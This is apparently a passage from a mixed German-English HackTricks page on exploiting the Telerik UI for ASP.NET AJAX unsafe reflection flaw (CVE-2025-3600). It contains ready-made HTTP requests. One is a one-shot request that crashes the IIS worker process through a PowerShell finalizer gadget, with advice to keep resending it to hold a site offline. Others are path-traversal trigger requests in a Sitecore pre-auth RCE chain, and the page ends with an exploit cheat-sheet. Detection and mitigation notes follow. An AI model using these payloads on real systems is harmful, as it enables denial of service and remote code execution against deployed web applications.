private ICacheImageProvider GetImageProvider(HttpContext context) { if (!string.IsNullOrEmpty(context.Request[“prtype”])) { return RadImageEditor.InitCacheImageProvider( RadImageEditor.GetICacheImageProviderType(context.Request[“prtype”]) // [A] ); } … }

public static Type GetICacheImageProviderType(string imageProviderTypeName) { return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ? typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B] }

protected internal static ICacheImageProvider InitCacheImageProvider(Type t) { // unsafe: construct before enforcing interface type-safety return (ICacheImageProvider)Activator.CreateInstance(t); // [C] }

</details>

Exploit primitive: Kontrollierter Type-String → Type.GetType löst ihn auf → Activator.CreateInstance führt dessen öffentlichen parameterlosen Konstruktor aus. Selbst wenn die Anfrage danach abgelehnt wird, sind gadget side‑effects bereits aufgetreten.

## Universal DoS gadget (no app-specific gadgets required)

Klasse: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper in System.Management.Automation (PowerShell) besitzt einen Finalizer, der ein nicht initialisiertes Handle freigibt, wodurch beim Finalisieren durch den GC eine unhandled exception ausgelöst wird. Das bringt den IIS worker process kurz nach der Instanziierung zuverlässig zum Absturz.

One‑shot DoS request:
```http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

Hinweise

• Periodisch weiter senden, um die Site offline zu halten. Möglicherweise beobachten Sie im Debugger, dass der constructor aufgerufen wird; der Absturz tritt bei der Finalisierung auf.

From DoS to RCE – escalation patterns

Unsafe constructor execution unlocks many target‑specific gadgets and chains. Hunt for:

1. Parameterless constructors that process attacker input

• Einige ctors (oder static initializers) lesen sofort Request query/body/cookies/headers und (de)serialisieren diese.
• Example (Sitecore): a ctor chain reaches GetLayoutDefinition() which reads HTTP body “layout” and deserializes JSON via JSON.NET.

2. Constructors that touch files

• Ctros, die config/blobs von der Festplatte laden oder deserialisieren, können missbraucht werden, wenn Sie in diese Pfade schreiben können (uploads/temp/data folders).

3. Constructors performing app-specific ops

• Zustand zurücksetzen, Module umschalten oder Prozesse beenden.

4. Constructors/static ctors that register AppDomain event handlers

• Viele Apps fügen AppDomain.CurrentDomain.AssemblyResolve-Handler hinzu, die DLL-Pfade aus args.Name ohne Validierung zusammenbauen. Wenn Sie die Typauflösung beeinflussen können, können Sie beliebiges DLL-Laden von angreifer-kontrollierten Pfaden erzwingen.

5. Forcing AssemblyResolve via Type.GetType

• Request a non-existent type to force CLR resolution and invoke registered (possibly insecure) resolvers. Example assembly-qualified name:

This.Class.Does.Not.Exist, watchTowr

6. Finalizers mit destruktiven Nebenwirkungen

• Einige Typen löschen in Finalizers Dateien an festen Pfaden. In Kombination mit link-following oder vorhersehbaren Pfaden kann dies in bestimmten Umgebungen zu einer lokalen Privilegienerhöhung führen.

Beispiel einer pre‑auth RCE-Kette (Sitecore XP)

• Schritt 1 – Pre‑auth: Einen Typ auslösen, dessen static/instance ctor einen unsicheren AssemblyResolve handler registriert (z. B. Sitecore’s FolderControlSource in ControlFactory).
• Schritt 2 – Post‑auth: Schreibzugriff auf ein resolver-probed directory erlangen (z. B. via auth bypass oder weak upload) und eine bösartige DLL platzieren.
• Schritt 3 – Pre‑auth: CVE‑2025‑3600 mit einem nicht existenten Typ und einem traversal‑geladenen Assembly-Namen ausnutzen, um den Resolver zu zwingen, Ihre platzierte DLL zu laden → Codeausführung als IIS worker.

Trigger examples

# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl

# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr

Validierung, hunting und DFIR-Notizen

• Saubere Labor-Validierung: Fire the DoS payload und beobachten Sie app pool recycle/unhandled exception, die mit dem WSMan finalizer verknüpft sind.
• Hunt in telemetry:
• Anfragen an /Telerik.Web.UI.WebResource.axd mit type=iec und ungewöhnlichen prtype-Werten.
• Fehlgeschlagene Type-Ladevorgänge und AppDomain.AssemblyResolve-Ereignisse.
• Plötzliche w3wp.exe-Abstürze/Neustarts nach solchen Anfragen.

Mitigation

• Patchen auf Telerik UI for ASP.NET AJAX 2025.1.416 oder neuer.
• Entfernen oder einschränken der Exponierung von Telerik.Web.UI.WebResource.axd wo möglich (WAF/rewrites).
• Ignore oder härten der prtype-Verarbeitung serverseitig (Upgrade führt vor der Instanziierung richtige Prüfungen durch).
• Auditieren und härten von benutzerdefinierten AppDomain.AssemblyResolve-Handlern. Vermeiden Sie es, Pfade aus args.Name ohne Sanitization zu bauen; bevorzugen Sie strong-named loads oder Whitelists.
• Einschränken von Upload/Write-Standorten und verhindern, dass DLLs in probed-Verzeichnisse abgelegt werden.
• Überwachen Sie Versuche, nicht existierende Typen zu laden, um Resolver-Missbrauch zu erkennen.

Cheat‑sheet

• Presence check:
• GET /Telerik.Web.UI.WebResource.axd
• Look for handler mapping in web.config
• Exploit skeleton:

GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>

• Universeller DoS:

...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

• Trigger-Resolver:

This.Class.Does.Not.Exist, watchTowr

Verwandte Techniken

• IIS post-exploitation, .NET key extraction, and in‑memory loaders:

IIS - Internet Information Services

• ASP.NET ViewState deserialization and machineKey abuses:

Exploiting __VIEWSTATE without knowing the secrets

Referenzen

• Progress Telerik – Unsafe Reflection Vulnerability (3600)
• watchTowr labs – More than DoS: Progress Telerik UI for ASP.NET AJAX Unsafe Reflection (CVE-2025-3600)
• Black Hat USA 2019 – SSO Wars: The Token Menace (Mirosh & Muñoz) – DoS gadget background
• ZDI – Abusing arbitrary file deletes to escalate privilege
• watchTowr – Is “B” for Backdoor? (Sitecore chain CVE-2025-34509)

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks

• Sieh dir die subscription plans an!
• Tritt der 💬 Discord group, der telegram group bei, folge @hacktricks_live auf X/Twitter, oder schau dir die LinkedIn page und den YouTube channel an.
• Teile hacking tricks, indem du PRs in die HackTricks und HackTricks Cloud github repos einreichst.